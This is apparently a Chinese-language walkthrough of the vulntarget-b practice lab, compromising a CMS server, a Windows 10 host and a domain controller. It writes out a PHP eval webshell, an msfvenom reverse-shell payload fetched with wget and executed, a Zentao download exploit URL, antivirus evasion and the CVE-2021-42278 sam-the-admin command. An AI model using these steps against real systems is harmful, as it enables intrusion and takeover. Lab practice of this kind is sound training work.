前言
靶场是vulntarget-b，环境可以自己百度下载
拓扑图：
一、centerOS7
1.扫描IP
nmap -F 192.168.252.3-254
2.扫描服务
sudo nmap -sV -p 21-10000 192.168.252.151
浏览器访问http://192.168.252.151:81/，发现是一个极致CMS
3.漏洞利用
上网查询了漏洞，发现需要登陆到后台才行，使用burp进行爆破
密码是admin123
参考了这篇文章https://blog.csdn.net/zhangge3663/article/details/116430637
下载插件
接着安装
点击配置，输入密码，随便输入即可，但是要记住，接着再输入一次就可以打开编辑模式
打开index.php，添加一句话木马，点击左上角保存
使用蚁剑连接
连接后发现输入每一个命令都是无效，需要disable_function绕过，使用蚁剑自带的插件即可
开启msf
生成payload
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.252.139 LPORT=4444 -f elf -o linuxshell.elf
通过蚁剑上传到目标机并且执行
wget http://192.168.252.139/linuxshell.elf
chmod 777 linuxshell.elf
./linuxshell.elf
设置路由以及代理
二、win10域环境
1.扫描IP
使用msf的portscan，扫描常见端口
结果发现另外一个IP：10.0.20.66
扫描端口过程真的是久，我放弃了，直接访问8080端口
使用浏览器访问http://10.0.20.66:8080，发现是一个禅道CMS
2.漏洞利用
上网查找文章找到了这一篇https://blog.csdn.net/qq_36197704/article/details/109385695，但是需要登陆到后台才行，但是发现爆破过程中会对登陆次数进行限制，所以我这里直接拿账号与密码进行登陆，有两个POC，但是第一个无法起作用，只能使用第二个，首先上次PHP文件到centerOS中5.php
<?php echo "<?php eval(\$_REQUEST['aaa']);";
访问URL
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODEvNS5waHA=
其中base64内容是HTTP://10.0.20.30:81/5.php，这里http需要大写。使用蚁剑连接http://10.0.20.66:8080/data/client/1/5.php即可。
把payload上传发现上传失败，会不会有杀软，使用命令：
tasklist /svc
发现有火绒，需要使用免杀payload（免杀的方法网上很多）
获取shell，设置路由代理
三、域控Windows server2016
由于是域控，所以使用一些域渗透知识，但是我发现使用net view 等这些命令没有反应，想使用之前的方法扫描IP，结果扫着扫着就断了，使用frp建立隧道来进行扫描，结果扫了好久都没扫完。只能看WP了，这里使用的是CVE-2021-42278，首先要获取域管理员的账号和密码，meterpreter中
这里有管理员的账号和密码（如果没有的话需要还原虚拟机，这个好像会过期），使用Python脚本（https://github.com/WazeHell/sam-the-admin）
python sam_the_admin.py "vulntarget.com/administrator:Admin@123" -dc-ip 10.0.10.100 -shell
只有Admin@123这个密码是可以访问到域控。等待后就获取shell。不过这个脚本不能cd，查看flag
type C:\Users\Administrator\flag.txt
总结
这一次渗透有域，但是不能使用net view这些命令，需要做凭证。我对域渗透还是有些不了解，需要多多补充这些知识点。还有就是查找漏洞利用时没有仔细看清楚利用过程，在利用禅道CMS中忽略了base64内容的HTTP需要大写，而且加载PHP文件时需要输出内容到win10的PHP文件中，这里我没有仔细看清楚。这里要吸取教训。
